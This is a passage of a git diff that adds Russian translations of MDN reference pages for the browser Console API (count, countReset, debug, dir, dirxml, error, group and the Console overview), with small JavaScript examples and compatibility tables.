+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Console.clear")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/count/index.html b/files/ru/web/api/console/count/index.html
new file mode 100644
index 0000000000..c91f2fffe9
--- /dev/null
+++ b/files/ru/web/api/console/count/index.html
@@ -0,0 +1,170 @@
+---
+title: Console.count()
+slug: Web/API/Console/count
+translation_of: Web/API/Console/count
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Выводит число, равное тому, сколько раз была вызвана конкретная функция <code>count()</code>. Эта функция также принимает необязательный аргумент <code>label</code>.</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Если <code>label</code> передается в функцию, то она выводит число вызовов функции <code>count()</code> с такой же точно <code>label</code>.</p>
+
+<p>Если <code>label</code> опущена, то функция выводит такое число, сколько раз была вызвана функция <code>count()</code> в этой отдельной строке.</p>
+
+<p>Например, при таком коде:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();</pre>
+
+<p>В консоль выведется:</p>
+
+<pre class="eval">"&lt;no label&gt;: 1"
+"&lt;no label&gt;: 2"
+"&lt;no label&gt;: 3"
+"&lt;no label&gt;: 1"
+</pre>
+
+<p> </p>
+
+<p>Обратите внимание на итоговую строку вывода журнала: отдельный вызов count () в строке 11 рассматривается как независимое событие.</p>
+
+<p>Если мы передадим переменную <code>user</code> в качестве аргумента <code>label</code> при первом вызове функции <code>count()</code>, aи строку "alice" при втором:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");</pre>
+
+<p>На выходе мы увидим:</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"</pre>
+
+<p>Таким образом мы сохранили различные счетчики основываясь только на значении <code>label</code>. Поскольку строка  "alice"  в строке 11 совпала со значением <code>user</code> дважды, это не сочлось отдельным событием.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.count([label]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Строка. Если она передается, <code>count()</code> выводит такое число, которое сообветсвует количеству  раз вызова данной функции с таким же точно <code>label</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.count()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("30.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("30.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/console/countreset/index.html b/files/ru/web/api/console/countreset/index.html
new file mode 100644
index 0000000000..b5bdb7e3b8
--- /dev/null
+++ b/files/ru/web/api/console/countreset/index.html
@@ -0,0 +1,130 @@
+---
+title: Console.countReset()
+slug: Web/API/Console/countReset
+translation_of: Web/API/Console/countReset
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Сбрасывает значение счетчика. Эта функция также принимает необязательный аргумент <code>label</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Если аргумент <code>label</code> передан, то функция сбросит счетчик связанный с этим аргументом.</p>
+
+<p>Если значение <code>label</code> опущено, то функция сбросит счетчик, заданый по умолчанию.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.countReset([label]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Строка.<br>
+ Если аргумент label был передан, <code>countReset()</code> сбросит к 0 счетчик для этого label.<br>
+ Если нет, <code>count()</code> сбросит к 0 счетчик, заданый по умолчанию.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Если аргумент label был передан:</p>
+
+<pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">counter-name: 0</span></span></span></pre>
+
+<p>Если аргумент label не был определен:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">default: 0</span></span></span></pre>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Если аргумент <code>label</code> был передан, но такого счетчика не существует <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> вернет предупреждение:</span></span></span></p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "counter-name" doesn’t exist.</code></span></span></span></pre>
+
+<p>Если аргумент <code>label</code> не был передан и <code>count()</code> не был вызван ранее, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">вернет предупреждение</span></span></span>:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "default" doesn’t exist.</code></span></span></span></pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Например, при таком коде:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();</pre>
+
+<p>Вывод консоли будет примерно таким:</p>
+
+<pre class="eval">"default: 1"
+"default: 2"
+"default: 3"
+"default: 1"
+"default: 0"
+</pre>
+
+<p>Заметьте, что вызов console.counterReset() сбросил до 0 значение счетчика заданного по умолчанию.</p>
+
+<p>Если мы присвоим переменную <code>user</code> как арумент <code>label</code> при первом вызове <code>count()</code>, и строку "alice" при втором:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");</pre>
+
+<p>Вывод будет примерно таким:</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"</pre>
+
+<p>Сброс счетчика "bob" изменил значение только этого счетчика. Значение счетчика "alice" осталось неизменно.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.countReset()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Console.countReset")}}</p>
diff --git a/files/ru/web/api/console/debug/index.html b/files/ru/web/api/console/debug/index.html
new file mode 100644
index 0000000000..4bd3892b8d
--- /dev/null
+++ b/files/ru/web/api/console/debug/index.html
@@ -0,0 +1,56 @@
+---
+title: Console.debug()
+slug: Web/API/Console/debug
+translation_of: Web/API/Console/debug
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary">Выводит сообщение в веб.консоль Сообщение отображается только если консоль настроена на показ сообщений уровня отладки.</span></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.debug(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся. </dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 и более подстановочных символов для замены (см. <code>subst1</code> ... <code>substN</code>).</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в <code>msg</code>. Это даст вам дополнительный контроль над форматом вывода. (см. {{SectionOnPage("/ru/docs/Web/API/Console", "Преобразование строк с использованием масок")}}).</dd>
+</dl>
+
+<p>Читайте <a href="/ru/docs/Web/API/Console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документаци {{domxref("console")}} для получения дополнительной информации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#debug", "console.debug()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.debug")}}</p>
+</div>
diff --git a/files/ru/web/api/console/dir/index.html b/files/ru/web/api/console/dir/index.html
new file mode 100644
index 0000000000..e710d4cd72
--- /dev/null
+++ b/files/ru/web/api/console/dir/index.html
@@ -0,0 +1,91 @@
+---
+title: Console.dir()
+slug: Web/API/Console/dir
+tags:
+  - API
+  - DOM
+  - Веб-консоль
+translation_of: Web/API/Console/dir
+---
+<p>{{ APIRef("Console API") }}{{Non-standard_header}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Отображает список свойств указанного JavaScript объекта. Вывод представлен в виде иерархического списка с  возможностью просмотра содержимого дочерних объектов.</p>
+
+<p>Console.dir это способ посмотреть в консоли свойства заданного javascript объекта.</p>
+
+<p><img alt="console-dir.png" class="default internal" src="/@api/deki/files/6081/=console-dir.png"></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">console.dir(<em>object</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>JavaScript-объект свойства которого нужно вывести.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Спецификация</h3>
+
+<p><a href="https://github.com/DeveloperToolsWG/console-object/blob/master/api.md#consoledirobject">Console Object API</a></p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("8.0") }}</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,helvetica,arial,sans-serif; font-size: 16px; line-height: 16px;">Особенность</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Поддержка</span></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/ru/web/api/console/dirxml/index.html b/files/ru/web/api/console/dirxml/index.html
new file mode 100644
index 0000000000..02856c1dc8
--- /dev/null
+++ b/files/ru/web/api/console/dirxml/index.html
@@ -0,0 +1,57 @@
+---
+title: Console.dirxml()
+slug: Web/API/Console/dirxml
+translation_of: Web/API/Console/dirxml
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Отображает интерактивное дерево из дочерних элементов указанного XML / HTML элемента. Если невозможно отобразить как элемент, то вместо этого отображается представление объекта JavaScript. Выходные данные представлены в виде иерархического списка расширяемых узлов, которые позволяют вам видеть содержимое дочерних узлов.</p>
+
+<p style="margin-bottom: 0cm; line-height: 100%;"></p>
+
+<p style="margin-bottom: 0cm; line-height: 100%;"></p>
+
+<h2 id="Синтакис">Синтакис</h2>
+
+<pre class="syntaxbox">console.dirxml(<em>object</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>
+ <p>Объект JavaScript свойства которого будут отображены.</p>
+ </dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#dirxml", "console.dirxml()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите стать контрибьютором, пожалуйста, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Console.dirxml")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/error/index.html b/files/ru/web/api/console/error/index.html
new file mode 100644
index 0000000000..419e2637ba
--- /dev/null
+++ b/files/ru/web/api/console/error/index.html
@@ -0,0 +1,170 @@
+---
+title: console.error()
+slug: Web/API/Console/error
+translation_of: Web/API/Console/error
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит сообщение об ошибке в веб-консоль.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.error(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.error(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+console.exception(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.exception(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> <code>console.exception()</code> -- это псевдоним для <code>console.error()</code>; они функционально идентичны.</p>
+</div>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковое представление каждого из этих объектов объединяются в указанном порядке и выводятся.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 или более <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочных символов</a> для замены.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Объекты JavaScript, с помощью которых произойдёт замена символов в msg. Это предоставляет дополнительный контроль над форматом вывода.</dd>
+</dl>
+
+<p>Смотрите раздел <a href="/en-US/docs/Web/API/console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документации {{domxref("console")}} для подробностей.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#error", "console.error()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Маски подстановки</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Псевдоним console.exception</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поодержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Маски подстановки</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Псевдоним console.exception</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console#errors_and_warnings">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/group/index.html b/files/ru/web/api/console/group/index.html
new file mode 100644
index 0000000000..91817d2671
--- /dev/null
+++ b/files/ru/web/api/console/group/index.html
@@ -0,0 +1,147 @@
+---
+title: Console.group()
+slug: Web/API/Console/group
+translation_of: Web/API/Console/group
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Создает новую группу сообщений в <a href="/en-US/docs/Tools/Web_Console">веб-консоли</a>. После вызова последующие сообщения, выводимые в консоль, будут иметь дополнительный уровень отступа, до тех пор пока не будет вызван метод {{domxref("console.groupEnd()")}}.</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.group([label]);
+</pre>
+
+<h2 id="Аргументы">Аргументы</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Опциональный заголовок группы. (Протестировано в Chrome 59). Не работает с <code>console.groupEnd()</code>.</dd>
+</dl>
+
+<p>{{h3_gecko_minversion("Использование в веб-консоли", "9.0")}}</p>
+
+<p>Использование групп помогает упорядочить вывод в консоль благодаря визуальной группировке связанных сообщений. Чтобы начать новый блок нужно вызвать <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> работает аналогичным образом, но выведенная группа будет свернута до тех пор, пока не будет развернута по клику.</p>
+
+<p><strong>Примечание:</strong>  Начиная с 9 по 51 версию Gecko, метод <code>groupCollapsed()</code> работал как метод <code>group()</code>. Свернутые группы поддерживаются с версии Gecko 52. См. {{bug("1088360")}}.</p>
+
+<p>Чтобы прекратить вывод в группу, требуется вызвать <code>console.groupEnd()</code>. К примеру, следующий код:</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.log("Back to the outer level");
+</pre>
+
+<p>выведет следующий результат:</p>
+
+<p><img alt="A screenshot of messages nested in the console output." src="/@api/deki/files/6082/=nesting.png"></p>
+
+<p>Для дополнительной информации смотрите <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">Использование групп в консоли</a>.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#group", "console.group()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Доступно в Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Реализовано в <a href="http://trac.webkit.org/changeset/35421">http://trac.webkit.org/changeset/35421</a>.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/index.html b/files/ru/web/api/console/index.html
new file mode 100644
index 0000000000..f2b4a069b7
--- /dev/null
+++ b/files/ru/web/api/console/index.html
@@ -0,0 +1,261 @@
+---
+title: Console
+slug: Web/API/Console
+tags:
+  - API
+  - DOM
+  - NeedsCompatTable
+  - Reference
+  - Référence(2)
+  - Веб-консоль
+  - Отладка
+  - Справочник по DOM Gecko
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Объект <strong>Сonsole</strong> служит для доступа к средствам отладки браузера (например, <a href="/ru/docs/Tools/Web_Console">Web Console (Веб-консоль)</a> в Firefox). Работа с ним отличается в разных браузерах, но эти методы и свойства по факту поддерживаются всеми браузерами.</p>
+
+<p>Доступ к <strong>Сonsole </strong>можно получить через свойство глобального объекта, то есть: {{domxref("Window")}} в браузере (в JavaScript), {{domxref("WorkerGlobalScope")}} — в <code>workers </code>это специальный способ доступа через свойство <code>console</code>. Он известен как {{domxref("Window.console")}}, и на него ссылаются для простоты так: "<code>console</code>".</p>
+
+<pre class="brush: js">console.log("Failed to open the specified link")</pre>
+
+<p>Ниже описаны <a href="#Methods">методы</a>, доступные в объекте Console и приведены несколько примеров их <a href="#Usage">использования</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Console.assert()")}}</dt>
+ <dd>Выводит в консоль (имеется ввиду веб-консоль) сообщение и стек вызова метода, если первый аргумент <code>false</code>.</dd>
+ <dt>{{domxref("Console.clear()")}}</dt>
+ <dd>Очистка консоли.</dd>
+ <dt>{{domxref("Console.count()")}}</dt>
+ <dd>Выводит количество вызовов метода с определенной меткой (передаётся в параметре метода)</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Console.countReset()")}}</dt>
+ <dd>Обнуляет значение счетчика с заданным значением.</dd>
+</dl>
+
+<dl>
